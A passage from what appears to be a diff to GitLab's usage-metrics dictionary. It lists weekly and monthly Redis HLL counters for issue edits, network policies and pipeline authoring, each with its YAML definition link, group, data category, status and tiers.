+Count of WAU adding an issue to an epic
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181413_g_project_management_issue_added_to_epic_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_assignee_changed_monthly`
+
+Count of MAU changing issue assignees
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181311_g_project_management_issue_assignee_changed_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_assignee_changed_weekly`
+
+Count of WAU changing issue assignees
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181310_g_project_management_issue_assignee_changed_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_changed_epic_monthly`
+
+Count of MAU changing the epic on an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181420_g_project_management_issue_changed_epic_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_changed_epic_weekly`
+
+Count of WAU changing the epic on an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181418_g_project_management_issue_changed_epic_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_cloned_monthly`
+
+Count of MAU cloning an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181501_g_project_management_issue_cloned_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_cloned_weekly`
+
+Count of WAU cloning an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181459_g_project_management_issue_cloned_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_closed_monthly`
+
+Count of MAU closing an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181326_g_project_management_issue_closed_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_closed_weekly`
+
+Count of WAU closing an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181324_g_project_management_issue_closed_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_comment_added_monthly`
+
+Count of MAU commenting on an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181446_g_project_management_issue_comment_added_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_comment_added_weekly`
+
+Count of WAU commenting on an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181444_g_project_management_issue_comment_added_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_comment_edited_monthly`
+
+Count of MAU editing a comment on an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181450_g_project_management_issue_comment_edited_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_comment_edited_weekly`
+
+Count of WAU editing a comment on an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181448_g_project_management_issue_comment_edited_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_comment_removed_monthly`
+
+Count of MAU deleting a comment from an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181453_g_project_management_issue_comment_removed_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_comment_removed_weekly`
+
+Count of WAU deleting a comment from an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181451_g_project_management_issue_comment_removed_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_created_monthly`
+
+Count of MAU creating new issues
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181323_g_project_management_issue_created_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_created_weekly`
+
+Count of WAU creating issues
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181321_g_project_management_issue_created_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_cross_referenced_monthly`
+
+Count of MAU referencing an issue from somewhere else
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181348_g_project_management_issue_cross_referenced_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_cross_referenced_weekly`
+
+Count of WAU referencing an issue from somewhere else
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181347_g_project_management_issue_cross_referenced_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_description_changed_monthly`
+
+Count of MAU editing an issue description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181308_g_project_management_issue_description_changed_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_description_changed_weekly`
+
+Count of WAU editing an issue description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181306_g_project_management_issue_description_changed_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_designs_added_monthly`
+
+Count of MAU adding a design to an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181424_g_project_management_issue_designs_added_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_designs_added_weekly`
+
+Count of WAU adding a design to an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181422_g_project_management_issue_designs_added_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_designs_modified_monthly`
+
+Count of MAU modifying a design on an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181427_g_project_management_issue_designs_modified_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_designs_modified_weekly`
+
+Count of WAU modifying a design on an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181425_g_project_management_issue_designs_modified_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_designs_removed_monthly`
+
+Count of MAU removing a design from an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181431_g_project_management_issue_designs_removed_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_designs_removed_weekly`
+
+Count of WAU removing a design from an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181429_g_project_management_issue_designs_removed_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_due_date_changed_monthly`
+
+Count of MAU changing an issue due date
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181435_g_project_management_issue_due_date_changed_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_due_date_changed_weekly`
+
+Count of WAU changing an issue due date
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181433_g_project_management_issue_due_date_changed_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_health_status_changed_monthly`
+
+Count of MAU changing the health status on an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181457_g_project_management_issue_health_status_changed_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_health_status_changed_weekly`
+
+Count of WAU changing the health status on an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181455_g_project_management_issue_health_status_changed_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_iteration_changed_monthly`
+
+Count of MAU changing an issue's iteration
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181341_g_project_management_issue_iteration_changed_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_iteration_changed_weekly`
+
+Count of WAU changing an issue's iteration
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181339_g_project_management_issue_iteration_changed_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_label_changed_monthly`
+
+Count of MAU changing an issue's label
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181334_g_project_management_issue_label_changed_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_label_changed_weekly`
+
+Count of WAU changing an issue's label
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181332_g_project_management_issue_label_changed_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_locked_monthly`
+
+Count of MAU locking an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181407_g_project_management_issue_locked_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_locked_weekly`
+
+Count of WAU locking an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181405_g_project_management_issue_locked_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_made_confidential_monthly`
+
+Count of MAU making an issue confidential
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181315_g_project_management_issue_made_confidential_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_made_confidential_weekly`
+
+Count of WAU making an issue confidential
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181313_g_project_management_issue_made_confidential_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_made_visible_monthly`
+
+Count of MAU making an issue not confidential
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181319_g_project_management_issue_made_visible_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_made_visible_weekly`
+
+Count of WAU making an issue not confidential
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181317_g_project_management_issue_made_visible_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_marked_as_duplicate_monthly`
+
+Count of MAU marking an issue as a duplicate
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181403_g_project_management_issue_marked_as_duplicate_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_marked_as_duplicate_weekly`
+
+Count of WAU marking an issue as a duplicate
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181401_g_project_management_issue_marked_as_duplicate_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_milestone_changed_monthly`
+
+Count of MAU changing an issue's milestone
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181337_g_project_management_issue_milestone_changed_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_milestone_changed_weekly`
+
+Count of WAU changing an issue's milestone
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181336_g_project_management_issue_milestone_changed_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_moved_monthly`
+
+Count of MAU moving an issue to another project
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181352_g_project_management_issue_moved_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_moved_weekly`
+
+Count of WAU moving an issue to another project
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181350_g_project_management_issue_moved_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_related_monthly`
+
+Count of MAU relating an issue to another issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181356_g_project_management_issue_related_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_related_weekly`
+
+Count of WAU relating an issue to another issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181354_g_project_management_issue_related_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_removed_from_epic_monthly`
+
+Count of MAU removing an issue from an epic
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181416_g_project_management_issue_removed_from_epic_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_removed_from_epic_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184221_g_project_management_issue_removed_from_epic_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_reopened_monthly`
+
+Count of MAU re-opening a closed issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181330_g_project_management_issue_reopened_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_reopened_weekly`
+
+Count of WAU re-opening a closed issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181328_g_project_management_issue_reopened_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_time_estimate_changed_monthly`
+
+Count of MAU changing an issue time estimate
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181438_g_project_management_issue_time_estimate_changed_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_time_estimate_changed_weekly`
+
+Count of WAU changing an issue time estimate
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181437_g_project_management_issue_time_estimate_changed_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_time_spent_changed_monthly`
+
+Count of MAU recording time spent on an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181442_g_project_management_issue_time_spent_changed_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_time_spent_changed_weekly`
+
+Count of WAU recording time spent on an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181440_g_project_management_issue_time_spent_changed_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_title_changed_monthly`
+
+Count of MAU editing an issue title
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181304_g_project_management_issue_title_changed_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_title_changed_weekly`
+
+Count of WAU editing an issue title
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210201124931_g_project_management_issue_title_changed_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_unlocked_monthly`
+
+Count of MAU unlocking an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181411_g_project_management_issue_unlocked_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_unlocked_weekly`
+
+Count of WAU unlocking an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181409_g_project_management_issue_unlocked_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_unrelated_monthly`
+
+Count of MAU unrelating an issue to another issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181400_g_project_management_issue_unrelated_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_unrelated_weekly`
+
+Count of WAU unrelating an issue to another issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181358_g_project_management_issue_unrelated_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_weight_changed_monthly`
+
+Count of MAU changing an issue's weight
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181345_g_project_management_issue_weight_changed_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.g_project_management_issue_weight_changed_weekly`
+
+Count of WAU changing an issue's weight
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181343_g_project_management_issue_weight_changed_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.issues_edit_total_unique_counts_monthly`
+
+Aggregate count of MAU taking an action related to an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181504_issues_edit_total_unique_counts_monthly.yml)
+
+Group: `group::project management`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.issues_edit.issues_edit_total_unique_counts_weekly`
+
+Aggregate count of WAU taking an action related to an issue
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181503_issues_edit_total_unique_counts_weekly.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.network_policies.clusters_using_network_policies_ui_monthly`
+
+Monthly number of distinct clusters with network policies using the network policies UI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210623202402_clusters_using_network_policies_ui_monthly.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `implemented`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.network_policies.clusters_using_network_policies_ui_weekly`
+
+Weekly number of distinct clusters with network policies using the network policies UI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210623202358_clusters_using_network_policies_ui_weekly.yml)
+
+Group: `group::container security`
+
+Data Category: `Operational`
+
+Status: `implemented`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly`
+
+Monthly unique user count doing commits which contains the CI config file
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184303_o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly.yml)
+
+Group: `group::pipeline authoring`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly`
+
+Weekly unique user count doing commits which contains the CI config file
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184301_o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly.yml)
+
+Group: `group::pipeline authoring`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_monthly`
+
+Monthly unique user count having merge requests which contains the CI config file
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210301144228_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_monthly.yml)
+
+Group: `group::pipeline authoring`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_weekly`
+
+Weekly unique user count having merge requests which contains the CI config file
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210301144209_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_weekly.yml)
+
+Group: `group::pipeline authoring`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.pipeline_authoring.pipeline_authoring_total_unique_counts_monthly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210427105033_pipeline_authoring_total_unique_counts_monthly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.pipeline_authoring.pipeline_authoring_total_unique_counts_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210427105030_pipeline_authoring_total_unique_counts_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
